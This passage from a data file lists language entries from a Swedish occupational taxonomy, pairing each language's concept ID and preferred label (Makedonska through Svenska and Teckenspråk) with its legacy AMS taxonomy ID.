( {'type': 'language', 'id': 'X8kF_rvX_yuj', 'preferred_label': 'Makedonska', 'deprecated_legacy_id': '370'},
'language', {'legacy_ams_taxonomy_id': '370', 'type': 'language', 'label': 'Makedonska', 'concept_id': 'X8kF_rvX_yuj', 'legacy_ams_taxonomy_num_id': 370}),
( {'type': 'language', 'id': 'dVEU_LsK_m8b', 'preferred_label': 'Malagassiska', 'deprecated_legacy_id': '372'},
'language', {'legacy_ams_taxonomy_id': '372', 'type': 'language', 'label': 'Malagassiska', 'concept_id': 'dVEU_LsK_m8b', 'legacy_ams_taxonomy_num_id': 372}),
( {'type': 'language', 'id': 'TrvD_6oy_oYt', 'preferred_label': 'Malajiska', 'deprecated_legacy_id': '373'},
'language', {'legacy_ams_taxonomy_id': '373', 'type': 'language', 'label': 'Malajiska', 'concept_id': 'TrvD_6oy_oYt', 'legacy_ams_taxonomy_num_id': 373}),
( {'type': 'language', 'id': 'QsrB_4Kx_K7y', 'preferred_label': 'Malayalam', 'deprecated_legacy_id': '374'},
'language', {'legacy_ams_taxonomy_id': '374', 'type': 'language', 'label': 'Malayalam', 'concept_id': 'QsrB_4Kx_K7y', 'legacy_ams_taxonomy_num_id': 374}),
( {'type': 'language', 'id': 'oJMr_g3f_9Z9', 'preferred_label': 'Maltesiska', 'deprecated_legacy_id': '376'},
'language', {'legacy_ams_taxonomy_id': '376', 'type': 'language', 'label': 'Maltesiska', 'concept_id': 'oJMr_g3f_9Z9', 'legacy_ams_taxonomy_num_id': 376}),
( {'type': 'language', 'id': 'cxiY_CBR_1Ve', 'preferred_label': 'Mandarin', 'deprecated_legacy_id': '377'},
'language', {'legacy_ams_taxonomy_id': '377', 'type': 'language', 'label': 'Mandarin', 'concept_id': 'cxiY_CBR_1Ve', 'legacy_ams_taxonomy_num_id': 377}),
( {'type': 'language', 'id': '32J8_SCe_3gR', 'preferred_label': 'Manx', 'deprecated_legacy_id': '381'},
'language', {'legacy_ams_taxonomy_id': '381', 'type': 'language', 'label': 'Manx', 'concept_id': '32J8_SCe_3gR', 'legacy_ams_taxonomy_num_id': 381}),
( {'type': 'language', 'id': 'vG2n_EAN_SwC', 'preferred_label': 'Maori', 'deprecated_legacy_id': '382'},
'language', {'legacy_ams_taxonomy_id': '382', 'type': 'language', 'label': 'Maori', 'concept_id': 'vG2n_EAN_SwC', 'legacy_ams_taxonomy_num_id': 382}),
( {'type': 'language', 'id': 'XadF_xEF_Hvb', 'preferred_label': 'Marathi', 'deprecated_legacy_id': '383'},
'language', {'legacy_ams_taxonomy_id': '383', 'type': 'language', 'label': 'Marathi', 'concept_id': 'XadF_xEF_Hvb', 'legacy_ams_taxonomy_num_id': 383}),
( {'type': 'language', 'id': 'Qgzp_mLJ_4tr', 'preferred_label': 'Mariska', 'deprecated_legacy_id': '384'},
'language', {'legacy_ams_taxonomy_id': '384', 'type': 'language', 'label': 'Mariska', 'concept_id': 'Qgzp_mLJ_4tr', 'legacy_ams_taxonomy_num_id': 384}),
( {'type': 'language', 'id': 'vSm2_7L7_xvL', 'preferred_label': 'Marwariska', 'deprecated_legacy_id': '385'},
'language', {'legacy_ams_taxonomy_id': '385', 'type': 'language', 'label': 'Marwariska', 'concept_id': 'vSm2_7L7_xvL', 'legacy_ams_taxonomy_num_id': 385}),
( {'type': 'language', 'id': 'BHDa_r1G_5Sv', 'preferred_label': 'Masai', 'deprecated_legacy_id': '386'},
'language', {'legacy_ams_taxonomy_id': '386', 'type': 'language', 'label': 'Masai', 'concept_id': 'BHDa_r1G_5Sv', 'legacy_ams_taxonomy_num_id': 386}),
( {'type': 'language', 'id': '53mz_row_sAP', 'preferred_label': 'Maya', 'deprecated_legacy_id': '387'},
'language', {'legacy_ams_taxonomy_id': '387', 'type': 'language', 'label': 'Maya', 'concept_id': '53mz_row_sAP', 'legacy_ams_taxonomy_num_id': 387}),
( {'type': 'language', 'id': 'F6YW_uCL_xCN', 'preferred_label': 'Mende', 'deprecated_legacy_id': '388'},
'language', {'legacy_ams_taxonomy_id': '388', 'type': 'language', 'label': 'Mende', 'concept_id': 'F6YW_uCL_xCN', 'legacy_ams_taxonomy_num_id': 388}),
( {'type': 'language', 'id': 'vWfd_Xrt_hPJ', 'preferred_label': 'Moldaviska', 'deprecated_legacy_id': '390'},
'language', {'legacy_ams_taxonomy_id': '390', 'type': 'language', 'label': 'Moldaviska', 'concept_id': 'vWfd_Xrt_hPJ', 'legacy_ams_taxonomy_num_id': 390}),
( {'type': 'language', 'id': 'J6dh_R8z_Ja4', 'preferred_label': 'Mongolska', 'deprecated_legacy_id': '391'},
'language', {'legacy_ams_taxonomy_id': '391', 'type': 'language', 'label': 'Mongolska', 'concept_id': 'J6dh_R8z_Ja4', 'legacy_ams_taxonomy_num_id': 391}),
( {'type': 'language', 'id': 'T3kB_EuD_ReH', 'preferred_label': 'Mossi', 'deprecated_legacy_id': '393'},
'language', {'legacy_ams_taxonomy_id': '393', 'type': 'language', 'label': 'Mossi', 'concept_id': 'T3kB_EuD_ReH', 'legacy_ams_taxonomy_num_id': 393}),
( {'type': 'language', 'id': 'UNA7_isN_UzK', 'preferred_label': 'Nauhatl', 'deprecated_legacy_id': '397'},
'language', {'legacy_ams_taxonomy_id': '397', 'type': 'language', 'label': 'Nauhatl', 'concept_id': 'UNA7_isN_UzK', 'legacy_ams_taxonomy_num_id': 397}),
( {'type': 'language', 'id': 'jvFH_zK8_KhS', 'preferred_label': 'Nauru', 'deprecated_legacy_id': '398'},
'language', {'legacy_ams_taxonomy_id': '398', 'type': 'language', 'label': 'Nauru', 'concept_id': 'jvFH_zK8_KhS', 'legacy_ams_taxonomy_num_id': 398}),
( {'type': 'language', 'id': 'niMN_h39_tm3', 'preferred_label': 'Nauriska', 'deprecated_legacy_id': '399'},
'language', {'legacy_ams_taxonomy_id': '399', 'type': 'language', 'label': 'Nauriska', 'concept_id': 'niMN_h39_tm3', 'legacy_ams_taxonomy_num_id': 399}),
( {'type': 'language', 'id': '3rPm_Muj_kJT', 'preferred_label': 'Ndebele Nord', 'deprecated_legacy_id': '400'},
'language', {'legacy_ams_taxonomy_id': '400', 'type': 'language', 'label': 'Ndebele Nord', 'concept_id': '3rPm_Muj_kJT', 'legacy_ams_taxonomy_num_id': 400}),
( {'type': 'language', 'id': '6S6h_c57_VnV', 'preferred_label': 'Nederländska', 'deprecated_legacy_id': '401'},
'language', {'legacy_ams_taxonomy_id': '401', 'type': 'language', 'label': 'Nederländska', 'concept_id': '6S6h_c57_VnV', 'legacy_ams_taxonomy_num_id': 401}),
( {'type': 'language', 'id': 'Lwot_W1k_dFW', 'preferred_label': 'Nepalesiska', 'deprecated_legacy_id': '402'},
'language', {'legacy_ams_taxonomy_id': '402', 'type': 'language', 'label': 'Nepalesiska', 'concept_id': 'Lwot_W1k_dFW', 'legacy_ams_taxonomy_num_id': 402}),
( {'type': 'language', 'id': 'pnjj_2JX_Fub', 'preferred_label': 'Norska', 'deprecated_legacy_id': '404'},
'language', {'legacy_ams_taxonomy_id': '404', 'type': 'language', 'label': 'Norska', 'concept_id': 'pnjj_2JX_Fub', 'legacy_ams_taxonomy_num_id': 404}),
( {'type': 'language', 'id': 'Ygzd_HiY_Ksk', 'preferred_label': 'Nyamwezi', 'deprecated_legacy_id': '405'},
'language', {'legacy_ams_taxonomy_id': '405', 'type': 'language', 'label': 'Nyamwezi', 'concept_id': 'Ygzd_HiY_Ksk', 'legacy_ams_taxonomy_num_id': 405}),
( {'type': 'language', 'id': 'Lcsi_xHg_8UW', 'preferred_label': 'Nyanja', 'deprecated_legacy_id': '406'},
'language', {'legacy_ams_taxonomy_id': '406', 'type': 'language', 'label': 'Nyanja', 'concept_id': 'Lcsi_xHg_8UW', 'legacy_ams_taxonomy_num_id': 406}),
( {'type': 'language', 'id': 'MzzG_eb7_ojB', 'preferred_label': 'Occitanska', 'deprecated_legacy_id': '407'},
'language', {'legacy_ams_taxonomy_id': '407', 'type': 'language', 'label': 'Occitanska', 'concept_id': 'MzzG_eb7_ojB', 'legacy_ams_taxonomy_num_id': 407}),
( {'type': 'language', 'id': 'qrBQ_mhN_W7D', 'preferred_label': 'Oriya', 'deprecated_legacy_id': '408'},
'language', {'legacy_ams_taxonomy_id': '408', 'type': 'language', 'label': 'Oriya', 'concept_id': 'qrBQ_mhN_W7D', 'legacy_ams_taxonomy_num_id': 408}),
( {'type': 'language', 'id': 'qDZT_5H6_ZET', 'preferred_label': 'Oromo', 'deprecated_legacy_id': '409'},
'language', {'legacy_ams_taxonomy_id': '409', 'type': 'language', 'label': 'Oromo', 'concept_id': 'qDZT_5H6_ZET', 'legacy_ams_taxonomy_num_id': 409}),
( {'type': 'language', 'id': 'g6Up_z8D_oAY', 'preferred_label': 'Pashto', 'deprecated_legacy_id': '412'},
'language', {'legacy_ams_taxonomy_id': '412', 'type': 'language', 'label': 'Pashto', 'concept_id': 'g6Up_z8D_oAY', 'legacy_ams_taxonomy_num_id': 412}),
( {'type': 'language', 'id': 'sNoC_CTL_8Ph', 'preferred_label': 'Persiska (Farsi)', 'deprecated_legacy_id': '414'},
'language', {'legacy_ams_taxonomy_id': '414', 'type': 'language', 'label': 'Persiska (Farsi)', 'concept_id': 'sNoC_CTL_8Ph', 'legacy_ams_taxonomy_num_id': 414}),
( {'type': 'language', 'id': 'Gp9q_gTW_XAw', 'preferred_label': 'Polska', 'deprecated_legacy_id': '415'},
'language', {'legacy_ams_taxonomy_id': '415', 'type': 'language', 'label': 'Polska', 'concept_id': 'Gp9q_gTW_XAw', 'legacy_ams_taxonomy_num_id': 415}),
( {'type': 'language', 'id': 'W1EH_yKC_wMJ', 'preferred_label': 'Portugisiska', 'deprecated_legacy_id': '416'},
'language', {'legacy_ams_taxonomy_id': '416', 'type': 'language', 'label': 'Portugisiska', 'concept_id': 'W1EH_yKC_wMJ', 'legacy_ams_taxonomy_num_id': 416}),
( {'type': 'language', 'id': 'so8d_dR6_E8j', 'preferred_label': 'Punjabi/Panjabo', 'deprecated_legacy_id': '417'},
'language', {'legacy_ams_taxonomy_id': '417', 'type': 'language', 'label': 'Punjabi/Panjabo', 'concept_id': 'so8d_dR6_E8j', 'legacy_ams_taxonomy_num_id': 417}),
( {'type': 'language', 'id': 'gBd9_PJY_gbT', 'preferred_label': 'Quechua', 'deprecated_legacy_id': '418'},
'language', {'legacy_ams_taxonomy_id': '418', 'type': 'language', 'label': 'Quechua', 'concept_id': 'gBd9_PJY_gbT', 'legacy_ams_taxonomy_num_id': 418}),
( {'type': 'language', 'id': 'ocLM_QVf_661', 'preferred_label': 'Retoromanska', 'deprecated_legacy_id': '420'},
'language', {'legacy_ams_taxonomy_id': '420', 'type': 'language', 'label': 'Retoromanska', 'concept_id': 'ocLM_QVf_661', 'legacy_ams_taxonomy_num_id': 420}),
( {'type': 'language', 'id': 'EgN8_Usb_2f6', 'preferred_label': 'Romani', 'deprecated_legacy_id': '421'},
'language', {'legacy_ams_taxonomy_id': '421', 'type': 'language', 'label': 'Romani', 'concept_id': 'EgN8_Usb_2f6', 'legacy_ams_taxonomy_num_id': 421}),
( {'type': 'language', 'id': 'ZDoY_SrN_mRm', 'preferred_label': 'Rumänska', 'deprecated_legacy_id': '422'},
'language', {'legacy_ams_taxonomy_id': '422', 'type': 'language', 'label': 'Rumänska', 'concept_id': 'ZDoY_SrN_mRm', 'legacy_ams_taxonomy_num_id': 422}),
( {'type': 'language', 'id': 'mHSV_SUD_wXF', 'preferred_label': 'Ryska', 'deprecated_legacy_id': '424'},
'language', {'legacy_ams_taxonomy_id': '424', 'type': 'language', 'label': 'Ryska', 'concept_id': 'mHSV_SUD_wXF', 'legacy_ams_taxonomy_num_id': 424}),
( {'type': 'language', 'id': 'oRUY_CU4_s9t', 'preferred_label': 'Samiska', 'deprecated_legacy_id': '425'},
'language', {'legacy_ams_taxonomy_id': '425', 'type': 'language', 'label': 'Samiska', 'concept_id': 'oRUY_CU4_s9t', 'legacy_ams_taxonomy_num_id': 425}),
( {'type': 'language', 'id': 'qhwA_Zhw_XLy', 'preferred_label': 'Samoanska', 'deprecated_legacy_id': '426'},
'language', {'legacy_ams_taxonomy_id': '426', 'type': 'language', 'label': 'Samoanska', 'concept_id': 'qhwA_Zhw_XLy', 'legacy_ams_taxonomy_num_id': 426}),
( {'type': 'language', 'id': 'wspL_wxs_ud5', 'preferred_label': 'Sango', 'deprecated_legacy_id': '427'},
'language', {'legacy_ams_taxonomy_id': '427', 'type': 'language', 'label': 'Sango', 'concept_id': 'wspL_wxs_ud5', 'legacy_ams_taxonomy_num_id': 427}),
( {'type': 'language', 'id': 'xLXn_NYc_2Zv', 'preferred_label': 'Santali', 'deprecated_legacy_id': '428'},
'language', {'legacy_ams_taxonomy_id': '428', 'type': 'language', 'label': 'Santali', 'concept_id': 'xLXn_NYc_2Zv', 'legacy_ams_taxonomy_num_id': 428}),
( {'type': 'language', 'id': 'jcL9_M9C_mAE', 'preferred_label': 'Sardiska/Sardiniska', 'deprecated_legacy_id': '430'},
'language', {'legacy_ams_taxonomy_id': '430', 'type': 'language', 'label': 'Sardiska/Sardiniska', 'concept_id': 'jcL9_M9C_mAE', 'legacy_ams_taxonomy_num_id': 430}),
( {'type': 'language', 'id': 'CKpA_mgw_jgi', 'preferred_label': 'Serbiska', 'deprecated_legacy_id': '432'},
'language', {'legacy_ams_taxonomy_id': '432', 'type': 'language', 'label': 'Serbiska', 'concept_id': 'CKpA_mgw_jgi', 'legacy_ams_taxonomy_num_id': 432}),
( {'type': 'language', 'id': 'ECrL_6pW_Zuz', 'preferred_label': 'Sesotho/Sesuto/Sotho', 'deprecated_legacy_id': '434'},
'language', {'legacy_ams_taxonomy_id': '434', 'type': 'language', 'label': 'Sesotho/Sesuto/Sotho', 'concept_id': 'ECrL_6pW_Zuz', 'legacy_ams_taxonomy_num_id': 434}),
( {'type': 'language', 'id': 'b7BB_6HR_vNr', 'preferred_label': 'Tswana', 'deprecated_legacy_id': '435'},
'language', {'legacy_ams_taxonomy_id': '435', 'type': 'language', 'label': 'Tswana', 'concept_id': 'b7BB_6HR_vNr', 'legacy_ams_taxonomy_num_id': 435}),
( {'type': 'language', 'id': 'duKn_okc_J3Q', 'preferred_label': 'Shona', 'deprecated_legacy_id': '438'},
'language', {'legacy_ams_taxonomy_id': '438', 'type': 'language', 'label': 'Shona', 'concept_id': 'duKn_okc_J3Q', 'legacy_ams_taxonomy_num_id': 438}),
( {'type': 'language', 'id': '97Zk_gEu_4XD', 'preferred_label': 'Sindhi', 'deprecated_legacy_id': '440'},
'language', {'legacy_ams_taxonomy_id': '440', 'type': 'language', 'label': 'Sindhi', 'concept_id': '97Zk_gEu_4XD', 'legacy_ams_taxonomy_num_id': 440}),
( {'type': 'language', 'id': 'PKJu_KCn_zAV', 'preferred_label': 'Singalesiska/Sinhala', 'deprecated_legacy_id': '441'},
'language', {'legacy_ams_taxonomy_id': '441', 'type': 'language', 'label': 'Singalesiska/Sinhala', 'concept_id': 'PKJu_KCn_zAV', 'legacy_ams_taxonomy_num_id': 441}),
( {'type': 'language', 'id': 'tVYE_xuR_B75', 'preferred_label': 'Swazi/Swati', 'deprecated_legacy_id': '442'},
'language', {'legacy_ams_taxonomy_id': '442', 'type': 'language', 'label': 'Swazi/Swati', 'concept_id': 'tVYE_xuR_B75', 'legacy_ams_taxonomy_num_id': 442}),
( {'type': 'language', 'id': 'rcVk_VU4_zay', 'preferred_label': 'Skotska', 'deprecated_legacy_id': '444'},
'language', {'legacy_ams_taxonomy_id': '444', 'type': 'language', 'label': 'Skotska', 'concept_id': 'rcVk_VU4_zay', 'legacy_ams_taxonomy_num_id': 444}),
( {'type': 'language', 'id': 'mLRm_6VG_s3c', 'preferred_label': 'Slovakiska', 'deprecated_legacy_id': '445'},
'language', {'legacy_ams_taxonomy_id': '445', 'type': 'language', 'label': 'Slovakiska', 'concept_id': 'mLRm_6VG_s3c', 'legacy_ams_taxonomy_num_id': 445}),
( {'type': 'language', 'id': 'H9bz_4TN_vL5', 'preferred_label': 'Slovenska', 'deprecated_legacy_id': '446'},
'language', {'legacy_ams_taxonomy_id': '446', 'type': 'language', 'label': 'Slovenska', 'concept_id': 'H9bz_4TN_vL5', 'legacy_ams_taxonomy_num_id': 446}),
( {'type': 'language', 'id': 'F6dn_vX1_Qnm', 'preferred_label': 'Somaliska', 'deprecated_legacy_id': '447'},
'language', {'legacy_ams_taxonomy_id': '447', 'type': 'language', 'label': 'Somaliska', 'concept_id': 'F6dn_vX1_Qnm', 'legacy_ams_taxonomy_num_id': 447}),
( {'type': 'language', 'id': 'n69w_Nza_N6w', 'preferred_label': 'Songhai', 'deprecated_legacy_id': '448'},
'language', {'legacy_ams_taxonomy_id': '448', 'type': 'language', 'label': 'Songhai', 'concept_id': 'n69w_Nza_N6w', 'legacy_ams_taxonomy_num_id': 448}),
( {'type': 'language', 'id': 'cqJm_R5Q_Gpr', 'preferred_label': 'Sorbiska språk', 'deprecated_legacy_id': '450'},
'language', {'legacy_ams_taxonomy_id': '450', 'type': 'language', 'label': 'Sorbiska språk', 'concept_id': 'cqJm_R5Q_Gpr', 'legacy_ams_taxonomy_num_id': 450}),
( {'type': 'language', 'id': 'i9Hd_bVm_Z3c', 'preferred_label': 'Spanska', 'deprecated_legacy_id': '451'},
'language', {'legacy_ams_taxonomy_id': '451', 'type': 'language', 'label': 'Spanska', 'concept_id': 'i9Hd_bVm_Z3c', 'legacy_ams_taxonomy_num_id': 451}),
( {'type': 'language', 'id': 'popv_w4d_5uB', 'preferred_label': 'Susu', 'deprecated_legacy_id': '453'},
'language', {'legacy_ams_taxonomy_id': '453', 'type': 'language', 'label': 'Susu', 'concept_id': 'popv_w4d_5uB', 'legacy_ams_taxonomy_num_id': 453}),
( {'type': 'language', 'id': 'Hbzs_PLN_Vo8', 'preferred_label': 'Swahili', 'deprecated_legacy_id': '455'},
'language', {'legacy_ams_taxonomy_id': '455', 'type': 'language', 'label': 'Swahili', 'concept_id': 'Hbzs_PLN_Vo8', 'legacy_ams_taxonomy_num_id': 455}),
( {'type': 'language', 'id': 'vYua_sYT_JEg', 'preferred_label': 'Syrianska', 'deprecated_legacy_id': '457'},
'language', {'legacy_ams_taxonomy_id': '457', 'type': 'language', 'label': 'Syrianska', 'concept_id': 'vYua_sYT_JEg', 'legacy_ams_taxonomy_num_id': 457}),
( {'type': 'language', 'id': 'ChZf_oUX_fKG', 'preferred_label': 'Tadjikiska', 'deprecated_legacy_id': '458'},
'language', {'legacy_ams_taxonomy_id': '458', 'type': 'language', 'label': 'Tadjikiska', 'concept_id': 'ChZf_oUX_fKG', 'legacy_ams_taxonomy_num_id': 458}),
( {'type': 'language', 'id': '7EYg_JZj_aU8', 'preferred_label': 'Tagalog', 'deprecated_legacy_id': '459'},
'language', {'legacy_ams_taxonomy_id': '459', 'type': 'language', 'label': 'Tagalog', 'concept_id': '7EYg_JZj_aU8', 'legacy_ams_taxonomy_num_id': 459}),
( {'type': 'language', 'id': 'YAw2_WRr_SAZ', 'preferred_label': 'Tahitiska', 'deprecated_legacy_id': '460'},
'language', {'legacy_ams_taxonomy_id': '460', 'type': 'language', 'label': 'Tahitiska', 'concept_id': 'YAw2_WRr_SAZ', 'legacy_ams_taxonomy_num_id': 460}),
( {'type': 'language', 'id': 'BWtj_uTy_nUS', 'preferred_label': 'Tamashek', 'deprecated_legacy_id': '461'},
'language', {'legacy_ams_taxonomy_id': '461', 'type': 'language', 'label': 'Tamashek', 'concept_id': 'BWtj_uTy_nUS', 'legacy_ams_taxonomy_num_id': 461}),
( {'type': 'language', 'id': 'u4QL_MM1_3zA', 'preferred_label': 'Tamil/Tamilska', 'deprecated_legacy_id': '463'},
'language', {'legacy_ams_taxonomy_id': '463', 'type': 'language', 'label': 'Tamil/Tamilska', 'concept_id': 'u4QL_MM1_3zA', 'legacy_ams_taxonomy_num_id': 463}),
( {'type': 'language', 'id': 'WmiH_iwb_S95', 'preferred_label': 'Tatariska', 'deprecated_legacy_id': '465'},
'language', {'legacy_ams_taxonomy_id': '465', 'type': 'language', 'label': 'Tatariska', 'concept_id': 'WmiH_iwb_S95', 'legacy_ams_taxonomy_num_id': 465}),
( {'type': 'language', 'id': '4N2S_MYT_nt7', 'preferred_label': 'Telugu', 'deprecated_legacy_id': '466'},
'language', {'legacy_ams_taxonomy_id': '466', 'type': 'language', 'label': 'Telugu', 'concept_id': '4N2S_MYT_nt7', 'legacy_ams_taxonomy_num_id': 466}),
( {'type': 'language', 'id': 'YQs2_RvS_UjV', 'preferred_label': 'Timne', 'deprecated_legacy_id': '467'},
'language', {'legacy_ams_taxonomy_id': '467', 'type': 'language', 'label': 'Timne', 'concept_id': 'YQs2_RvS_UjV', 'legacy_ams_taxonomy_num_id': 467}),
( {'type': 'language', 'id': 'ECih_Cev_hwd', 'preferred_label': 'Thailändska', 'deprecated_legacy_id': '469'},
'language', {'legacy_ams_taxonomy_id': '469', 'type': 'language', 'label': 'Thailändska', 'concept_id': 'ECih_Cev_hwd', 'legacy_ams_taxonomy_num_id': 469}),
( {'type': 'language', 'id': 'SXCC_X3z_zYJ', 'preferred_label': 'Tibetanska', 'deprecated_legacy_id': '470'},
'language', {'legacy_ams_taxonomy_id': '470', 'type': 'language', 'label': 'Tibetanska', 'concept_id': 'SXCC_X3z_zYJ', 'legacy_ams_taxonomy_num_id': 470}),
( {'type': 'language', 'id': '4Qvn_5N7_AVk', 'preferred_label': 'Tigre', 'deprecated_legacy_id': '471'},
'language', {'legacy_ams_taxonomy_id': '471', 'type': 'language', 'label': 'Tigre', 'concept_id': '4Qvn_5N7_AVk', 'legacy_ams_taxonomy_num_id': 471}),
( {'type': 'language', 'id': 'nPzh_1oc_EKz', 'preferred_label': 'Tigrinja/Tigrinska', 'deprecated_legacy_id': '472'},
'language', {'legacy_ams_taxonomy_id': '472', 'type': 'language', 'label': 'Tigrinja/Tigrinska', 'concept_id': 'nPzh_1oc_EKz', 'legacy_ams_taxonomy_num_id': 472}),
( {'type': 'language', 'id': 'aAje_qMU_iU9', 'preferred_label': 'Tjeckiska', 'deprecated_legacy_id': '473'},
'language', {'legacy_ams_taxonomy_id': '473', 'type': 'language', 'label': 'Tjeckiska', 'concept_id': 'aAje_qMU_iU9', 'legacy_ams_taxonomy_num_id': 473}),
( {'type': 'language', 'id': 'heWF_H1y_48o', 'preferred_label': 'Tjuvasjiska', 'deprecated_legacy_id': '475'},
'language', {'legacy_ams_taxonomy_id': '475', 'type': 'language', 'label': 'Tjuvasjiska', 'concept_id': 'heWF_H1y_48o', 'legacy_ams_taxonomy_num_id': 475}),
( {'type': 'language', 'id': 'wL3C_poK_fbi', 'preferred_label': 'Tok Pisin', 'deprecated_legacy_id': '476'},
'language', {'legacy_ams_taxonomy_id': '476', 'type': 'language', 'label': '<NAME>', 'concept_id': 'wL3C_poK_fbi', 'legacy_ams_taxonomy_num_id': 476}),
( {'type': 'language', 'id': 'sVLN_wnV_MxS', 'preferred_label': 'Tonga (Nyasa)', 'deprecated_legacy_id': '477'},
'language', {'legacy_ams_taxonomy_id': '477', 'type': 'language', 'label': 'Tonga (Nyasa)', 'concept_id': 'sVLN_wnV_MxS', 'legacy_ams_taxonomy_num_id': 477}),
( {'type': 'language', 'id': 'UaRX_FvG_rKF', 'preferred_label': 'Turkiska', 'deprecated_legacy_id': '481'},
'language', {'legacy_ams_taxonomy_id': '481', 'type': 'language', 'label': 'Turkiska', 'concept_id': 'UaRX_FvG_rKF', 'legacy_ams_taxonomy_num_id': 481}),
( {'type': 'language', 'id': 'HFys_DBy_E5b', 'preferred_label': 'Turkmenska', 'deprecated_legacy_id': '482'},
'language', {'legacy_ams_taxonomy_id': '482', 'type': 'language', 'label': 'Turkmenska', 'concept_id': 'HFys_DBy_E5b', 'legacy_ams_taxonomy_num_id': 482}),
( {'type': 'language', 'id': 'k3AV_Asg_TWU', 'preferred_label': 'Twi', 'deprecated_legacy_id': '483'},
'language', {'legacy_ams_taxonomy_id': '483', 'type': 'language', 'label': 'Twi', 'concept_id': 'k3AV_Asg_TWU', 'legacy_ams_taxonomy_num_id': 483}),
( {'type': 'language', 'id': 'S368_jFS_2hP', 'preferred_label': 'Tyska', 'deprecated_legacy_id': '484'},
'language', {'legacy_ams_taxonomy_id': '484', 'type': 'language', 'label': 'Tyska', 'concept_id': 'S368_jFS_2hP', 'legacy_ams_taxonomy_num_id': 484}),
( {'type': 'language', 'id': 'tAM8_qNg_sW5', 'preferred_label': 'Uiguriska', 'deprecated_legacy_id': '485'},
'language', {'legacy_ams_taxonomy_id': '485', 'type': 'language', 'label': 'Uiguriska', 'concept_id': 'tAM8_qNg_sW5', 'legacy_ams_taxonomy_num_id': 485}),
( {'type': 'language', 'id': 'zkfD_Qwv_kTk', 'preferred_label': 'Ukrainska', 'deprecated_legacy_id': '486'},
'language', {'legacy_ams_taxonomy_id': '486', 'type': 'language', 'label': 'Ukrainska', 'concept_id': 'zkfD_Qwv_kTk', 'legacy_ams_taxonomy_num_id': 486}),
( {'type': 'language', 'id': 'TWvN_hko_Uk5', 'preferred_label': 'Umbundu', 'deprecated_legacy_id': '487'},
'language', {'legacy_ams_taxonomy_id': '487', 'type': 'language', 'label': 'Umbundu', 'concept_id': 'TWvN_hko_Uk5', 'legacy_ams_taxonomy_num_id': 487}),
( {'type': 'language', 'id': 'Cs9j_jSN_wNH', 'preferred_label': 'Ungerska', 'deprecated_legacy_id': '488'},
'language', {'legacy_ams_taxonomy_id': '488', 'type': 'language', 'label': 'Ungerska', 'concept_id': 'Cs9j_jSN_wNH', 'legacy_ams_taxonomy_num_id': 488}),
( {'type': 'language', 'id': 'Jw1X_vyk_SbY', 'preferred_label': 'Urdu', 'deprecated_legacy_id': '489'},
'language', {'legacy_ams_taxonomy_id': '489', 'type': 'language', 'label': 'Urdu', 'concept_id': 'Jw1X_vyk_SbY', 'legacy_ams_taxonomy_num_id': 489}),
( {'type': 'language', 'id': '3Xxo_J8v_rez', 'preferred_label': 'Uzbekiska', 'deprecated_legacy_id': '491'},
'language', {'legacy_ams_taxonomy_id': '491', 'type': 'language', 'label': 'Uzbekiska', 'concept_id': '3Xxo_J8v_rez', 'legacy_ams_taxonomy_num_id': 491}),
( {'type': 'language', 'id': 'RqHU_aEE_tJA', 'preferred_label': 'Vietnamesiska', 'deprecated_legacy_id': '492'},
'language', {'legacy_ams_taxonomy_id': '492', 'type': 'language', 'label': 'Vietnamesiska', 'concept_id': 'RqHU_aEE_tJA', 'legacy_ams_taxonomy_num_id': 492}),
( {'type': 'language', 'id': 'i2wN_KYK_kRT', 'preferred_label': 'Vitryska', 'deprecated_legacy_id': '493'},
'language', {'legacy_ams_taxonomy_id': '493', 'type': 'language', 'label': 'Vitryska', 'concept_id': 'i2wN_KYK_kRT', 'legacy_ams_taxonomy_num_id': 493}),
( {'type': 'language', 'id': 'jFod_528_29i', 'preferred_label': 'Walesiska', 'deprecated_legacy_id': '494'},
'language', {'legacy_ams_taxonomy_id': '494', 'type': 'language', 'label': 'Walesiska', 'concept_id': 'jFod_528_29i', 'legacy_ams_taxonomy_num_id': 494}),
( {'type': 'language', 'id': 'GF87_h5U_r6r', 'preferred_label': 'Wolof', 'deprecated_legacy_id': '495'},
'language', {'legacy_ams_taxonomy_id': '495', 'type': 'language', 'label': 'Wolof', 'concept_id': 'GF87_h5U_r6r', 'legacy_ams_taxonomy_num_id': 495}),
( {'type': 'language', 'id': 'ZExV_tjM_Nbo', 'preferred_label': 'Xhosa/Isixhosa', 'deprecated_legacy_id': '496'},
'language', {'legacy_ams_taxonomy_id': '496', 'type': 'language', 'label': 'Xhosa/Isixhosa', 'concept_id': 'ZExV_tjM_Nbo', 'legacy_ams_taxonomy_num_id': 496}),
( {'type': 'language', 'id': 'hWuY_56Y_gEA', 'preferred_label': 'Yoruba', 'deprecated_legacy_id': '498'},
'language', {'legacy_ams_taxonomy_id': '498', 'type': 'language', 'label': 'Yoruba', 'concept_id': 'hWuY_56Y_gEA', 'legacy_ams_taxonomy_num_id': 498}),
( {'type': 'language', 'id': '5sps_VbV_7DK', 'preferred_label': 'Zande/Azande', 'deprecated_legacy_id': '499'},
'language', {'legacy_ams_taxonomy_id': '499', 'type': 'language', 'label': 'Zande/Azande', 'concept_id': '5sps_VbV_7DK', 'legacy_ams_taxonomy_num_id': 499}),
( {'type': 'language', 'id': 'RD8Y_xdr_zdh', 'preferred_label': 'Zhuang', 'deprecated_legacy_id': '500'},
'language', {'legacy_ams_taxonomy_id': '500', 'type': 'language', 'label': 'Zhuang', 'concept_id': 'RD8Y_xdr_zdh', 'legacy_ams_taxonomy_num_id': 500}),
( {'type': 'language', 'id': 'Mhbn_hgq_sa6', 'preferred_label': 'Zulu', 'deprecated_legacy_id': '501'},
'language', {'legacy_ams_taxonomy_id': '501', 'type': 'language', 'label': 'Zulu', 'concept_id': 'Mhbn_hgq_sa6', 'legacy_ams_taxonomy_num_id': 501}),
( {'type': 'language', 'id': 'zSLA_vw2_FXN', 'preferred_label': 'Svenska', 'deprecated_legacy_id': '502'},
'language', {'legacy_ams_taxonomy_id': '502', 'type': 'language', 'label': 'Svenska', 'concept_id': 'zSLA_vw2_FXN', 'legacy_ams_taxonomy_num_id': 502}),
( {'type': 'language', 'id': 'fYiW_4KZ_MHa', 'preferred_label': 'Teckenspråk', 'deprecated_legacy_id': '503'},
'language', {'legacy_ams_taxonomy_id': '503', 'type': 'language', 'label': 'Teckenspråk', 'concept_id': 'fYiW_4KZ_MHa', 'legacy_ams_taxonomy_num_id': 503}),
( {'type': 'language', 'id': '43Dr_HRx_rRx', 'preferred_label': 'Adangme', 'deprecated_legacy_id': '10015'},
